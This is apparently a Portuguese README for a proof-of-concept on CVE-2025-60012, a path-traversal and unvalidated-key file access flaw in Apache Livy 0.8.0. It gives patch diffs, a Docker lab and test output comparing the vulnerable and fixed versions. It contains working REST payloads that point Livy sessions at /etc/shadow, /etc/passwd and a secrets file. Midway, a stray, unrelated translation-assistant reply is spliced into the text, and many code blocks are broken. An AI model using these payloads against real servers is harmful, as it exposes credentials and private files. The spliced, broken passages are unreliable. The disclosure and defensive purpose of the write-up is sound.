
Uma PoC para a vulnerabilidade de acesso não autorizado a arquivos no Apache Livy.
Apenas para fins educacionais e de pesquisa em segurança. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. → Isenção de Responsabilidade Completa
| Campo | Detalhe |
|---|---|
| CVE ID | CVE-2025-60012 |
| Severidade | Média (CVSS 6.3) |
| Afetados | Apache Livy 0.7.0-incubating, 0.8.0-incubating — quando conectado ao Apache Spark 3.1 ou posterior |
| Corrigido em | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: Validação de Entrada Incorreta |
| Divulgado | 2026-03-13 |
| Relator | Furue Hideyuki |
Um usuário autenticado com acesso à interface REST ou JDBC do Livy pode enviar uma sessão Spark ou um job em lote com valores de configuração manipulados. Duas falhas combinam-se para permitir que o atacante referencie arquivos do sistema de arquivos local fora dos caminhos permitidos:
Ausência de validação para spark.archives — O Spark 3.1 introduziu spark.archives
como uma forma unificada de distribuir arquivos compactados por todos os gerenciadores de
cluster. A lista fixa de chaves de configuração do Livy 0.8.0 que recebem validação de
caminho (HARDCODED_SPARK_FILE_LISTS) não inclui spark.archives. Portanto, um caminho
passado por meio dessa chave nunca é verificado contra a lista de permissões do sistema de
arquivos local (livy.file.local-dir-whitelist), permitindo que um atacante referencie
qualquer arquivo local.
Contorno da verificação da lista de permissões por path traversal — Mesmo para chaves
de configuração que SÃO validadas, a comparação com a lista de permissões no Livy 0.8.0 usa
uma simples chamada startsWith de String do Java no caminho bruto. Um atacante pode contornar
isso usando path traversal: /whitelisted/dir/../../etc/passwd passa na verificação da string,
mas resolve para fora do diretório permitido.
LivyConf.scalaVulnerável (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Corrigido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaVulnerável (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corrigido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Ambas as versões foram clonadas diretamente do repositório oficial Apache Livy no GitHub para este workspace usando os seguintes comandos exatos:
Repositório: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## Diffs de código exatos
Os diffs foram produzidos clonando ambas as tags localmente (veja acima) e executando:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives adicionado à lista de arquivos embutidos```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**Impacto da entrada ausente na v0.8.0:**
Quando um usuário submete uma sessão com `conf: {"spark.archives": "file:///etc/passwd"}`, o Livy
0.8.0 nunca chama `resolveURIs()` nesse valor e nunca o verifica contra
`livy.file.local-dir-whitelist`. O caminho é encaminhado ao Spark sem validação.
---
### Correção 2 — `Session.scala`: Normalização do caminho antes da verificação de whitelist```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
Impacto na v0.8.0:
A verificação de string bruta startsWith pode ser contornada com um payload de path traversal.
Exemplo: se `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (contornado)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (bloqueado)
## Resumo do Vetor de Ataque```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Todos os passos deste PoC foram executados e validados no seguinte sistema:
| Componente | Detalhe |
|---|---|
| SO do Host | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Arquitetura | x86_64 |
| Memória Total | 15.49 GiB |
| Docker Engine | 28.2.2 |
| JDK do Host | OpenJDK 17.0.18 (usado somente pelo host — os containers usam eclipse-temurin:11-jdk-focal) |
| Imagem base do container | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Versão do Spark (ambas as imagens) | 3.1.3 com Hadoop 3.2 |
| Versão do Livy — imagem vulnerável | 0.8.0-incubating (build Scala 2.12) |
| Versão do Livy — imagem corrigida | 0.9.0-incubating (build Scala 2.12) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## Prova de Conceito
### Visão Geral```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Sequência completa de ponta a ponta — siga os passos 1 a 4 em ordem:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **Nota:** O Livy leva aproximadamente 15–20 segundos para ficar pronto após `docker run`.
> Todos os passos abaixo incluem um `sleep 20` explícito antes de qualquer chamada de API.
---
### Passo 1 — Construir e iniciar o ambiente vulnerável (Livy 0.8.0 + Spark 3.1.3)
**Arquivos:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — escuta em `0.0.0.0:8998`, modo local, whitelist = `/opt/safe-data`
**1a. Construir a imagem:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
Validar — a imagem foi criada:```bash docker images cve-2025-60012-vulnerable
Saída esperada:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. Inicie o contêiner:
---```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**Validar — o container está em execução:**```bash
docker ps --filter name=livy-vulnerable
Saída esperada:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**1c. Aguarde o Livy iniciar e, em seguida, verifique a API REST:**
> O Livy requer ~15–20 segundos para inicializar antes de atender solicitações.```bash
sleep 20
curl -s http://localhost:8998/sessions
I'm ready to translate the content, but I notice the input text appears to be empty after "INPUT:". Please provide the actual chunk content you'd like me to translate.```json {"from":0,"total":0,"sessions":[]}
---
**1d. Validar o layout do diretório dentro do contêiner:**
Confirme que o arquivo seguro na lista de permissões existe:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Saída esperada:``` This file lives inside the whitelisted directory.
Confirme se o arquivo sensível alvo existe fora da lista de permissões:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Saída esperada:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### Passo 2 — Executar validação contra o ambiente vulnerável
> O contêiner vulnerável do Passo 1 ainda deve estar em execução na porta 8998.
**O que `test/validate.sh` testa:**
| # | Ataque | Chave do payload | Resultado esperado no Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` ausente de `HARDCODED_SPARK_FILE_LISTS` em `LivyConf.scala` | `spark.archives` | HTTP 201 — caminho aceito sem validação |
| 2 | Travessia de caminho via `String.startsWith()` em `Session.scala` | `spark.jars` com traversal `../` | HTTP 201 — a travessia contorna a lista de permissões |
**2a. Execute o script:**```bash
bash test/validate.sh
Saída esperada:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. Pare e remova o contêiner vulnerável:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
Validar — o container foi totalmente removido:```bash docker ps -a --filter name=livy-vulnerable
Saída esperada (vazia — sem linhas):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Arquivos:
docker/fixed/Dockerfile — imagem base idêntica e Spark 3.1.3, apenas a versão do Livy muda para 0.9.0docker/fixed/livy.conf — idêntico a docker/vulnerable/livy.conf (mesma whitelist, porta, modo)Manter o Spark, a imagem base e toda a configuração idênticos ao Passo 1 isola o Livy como a única variável.
3a. Construir a imagem:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**Validar — imagem foi criada:**```bash
docker images cve-2025-60012-fixed
Saída esperada:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
---
**3b. Inicie o contêiner:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
Validar — o contêiner está em execução:```bash docker ps --filter name=livy-fixed
Saída esperada:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Aguarde o Livy iniciar e, em seguida, verifique a API REST:```bash sleep 20 curl -s http://localhost:8998/sessions
Saída esperada:```json
{"from":0,"total":0,"sessions":[]}
O contêiner corrigido do Passo 3 deve estar em execução na porta 8998. O script é idêntico — sem alterações.
O que muda entre o Passo 2 e o Passo 4:
spark.archives via HARDCODED_SPARK_FILE_LISTSPaths.get().normalize() antes da verificação da whitelist4a. Execute o script:```bash bash test/validate.sh
> **Nota:** `validate.sh` funciona da seguinte forma:
> 1. Ele consulta `GET /sessions` até o Livy responder (por até 60 segundos), confirmando que o servidor está pronto.
> 2. Para cada ataque, envia uma requisição `POST /sessions` via `curl` com um payload `conf` elaborado, direcionado a um arquivo fora da lista de permissões (`/opt/sensitive/secret.txt`).
> 3. Ele lê o código de resposta HTTP: **201** significa que o Livy aceitou o caminho sem validação (vulnerável); **400** significa que o Livy o rejeitou na verificação da lista de permissões (corrigido).
> 4. Se uma sessão foi criada (HTTP 201), o script a exclui imediatamente via `DELETE /sessions/{id}` para manter o servidor limpo.
> 5. Após ambos os testes, ele imprime um resumo e sai com o código **1** (vulnerável) ou **0** (corrigido), tornando-o adequado para uso em pipelines automatizados.
**Saída esperada:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
O que as mensagens de erro confirmam:
| Ataque | HTTP | Mensagem de erro | Causa raiz corrigida |
|---|---|---|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives adicionado a HARDCODED_SPARK_FILE_LISTS em LivyConf.scala; o caminho agora passa pela verificação de whitelist do resolveURI() |
| 2 — traversal de caminho | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() adicionado em Session.scala; resolve ../ antes da comparação com a whitelist |
4b. Pare e remova o contêiner corrigido:```bash docker stop livy-fixed && docker rm livy-fixed
**Validar — container totalmente removido:**```bash
docker ps -a --filter name=livy-fixed
Saída esperada (vazia — sem linhas):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## Inferência
O CVE-2025-60012 mostra que uma vulnerabilidade nem sempre exige contornar um controle de segurança — às vezes basta encontrar um caminho que nunca passou por esse controle em primeiro lugar.
A whitelist (`livy.file.local-dir-whitelist`) existia tanto no Livy 0.8.0 quanto no 0.9.0 e estava configurada corretamente em ambos os ambientes. As falhas estavam a montante dela:
1. **Registro ausente (Ataque 1):** `spark.archives` foi introduzido no Spark 3.1 como um substituto agnóstico de cluster manager para `spark.yarn.dist.archives`. A lista interna do Livy de chaves de configuração cujos caminhos são alimentados na verificação da whitelist (`HARDCODED_SPARK_FILE_LISTS` em `LivyConf.scala`) nunca foi atualizada para incluí-lo. Qualquer caminho passado via `spark.archives` era, portanto, encaminhado ao Spark completamente sem validação. A whitelist nunca era consultada.
2. **Falha lógica na própria verificação (Ataque 2):** Para chaves registradas, a comparação de whitelist em `Session.scala` usava o `String.startsWith()` do Java na string bruta do caminho. Isso é insuficiente para comparações de caminhos de sistema de arquivos porque não leva em conta a travessia `..`. Um caminho como `/opt/safe-data/../sensitive/secret.txt` satisfaz a verificação de string em relação à entrada da whitelist `/opt/safe-data`, mas resolve para um local totalmente fora dela.
Juntas, essas duas fraquezas significam que um usuário autenticado — sem privilégios especiais além do acesso à interface REST ou JDBC do Livy — poderia referenciar arquivos locais arbitrários no host do servidor Livy. Em um cluster analítico compartilhado, isso se traduz em potencial exposição de credenciais, chaves, arquivos de configuração ou qualquer dado legível pelo usuário do processo do Livy.
A correção no 0.9.0 é mínima e direcionada: uma linha adicionada a `HARDCODED_SPARK_FILE_LISTS` (fechando a lacuna de registro) e uma chamada a `Paths.get().normalize()` adicionada antes da comparação da whitelist (fechando o desvio por travessia). Nenhuma das mudanças alterou a própria whitelist, confirmando que a whitelist nunca foi o problema — o problema era que o código que a alimentava era incompleto e impreciso.
**Principal lição para defensores:** Quando o Livy é implantado com Spark 3.1 ou posterior, a atualização para o Livy 0.9.0-incubating é a única remediação completa. Apenas endurecer `livy.file.local-dir-whitelist` não é suficiente contra o Ataque 1, porque caminhos enviados via `spark.archives` contornam completamente essa verificação em versões vulneráveis.
## Referências
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Divulgação no OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Lista de discussão do Apache: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Projeto Apache Livy: https://livy.apache.org/
## Agradecimentos
- **Furue Hideyuki** — relator original do CVE-2025-60012 ao Apache Security Team.
- **Mantenedores do Apache Livy** — pelo pronto triage e correção direcionada no v0.9.0-incubating.
- **Apache Security Team** — por coordenar o processo de divulgação responsável.
- **Comunidade OSS-Sec** — pelo tópico de divulgação pública que tornou possível a análise independente.
## Contribuindo
Contribuições para melhorar este PoC ou a documentação são bem-vindas! Por favor, garanta que todas as contribuições:
- Sigam práticas de divulgação responsável
- Incluam avisos apropriados
- Não incluam código malicioso além da demonstração educacional
- Mantenham o foco no valor educacional
Para contribuir, abra um pull request ou registre uma issue descrevendo a mudança proposta.
## Licença
Este projeto está licenciado sob a [Licença MIT](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE).
## Aviso Legal
Este repositório é apenas para fins educacionais e de pesquisa em segurança. A prova de conceito
demonstra a mecânica da vulnerabilidade para auxiliar na compreensão e nas medidas defensivas. Não
use contra sistemas que você não possui ou para os quais não tenha permissão escrita explícita para testar.
## Tags
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`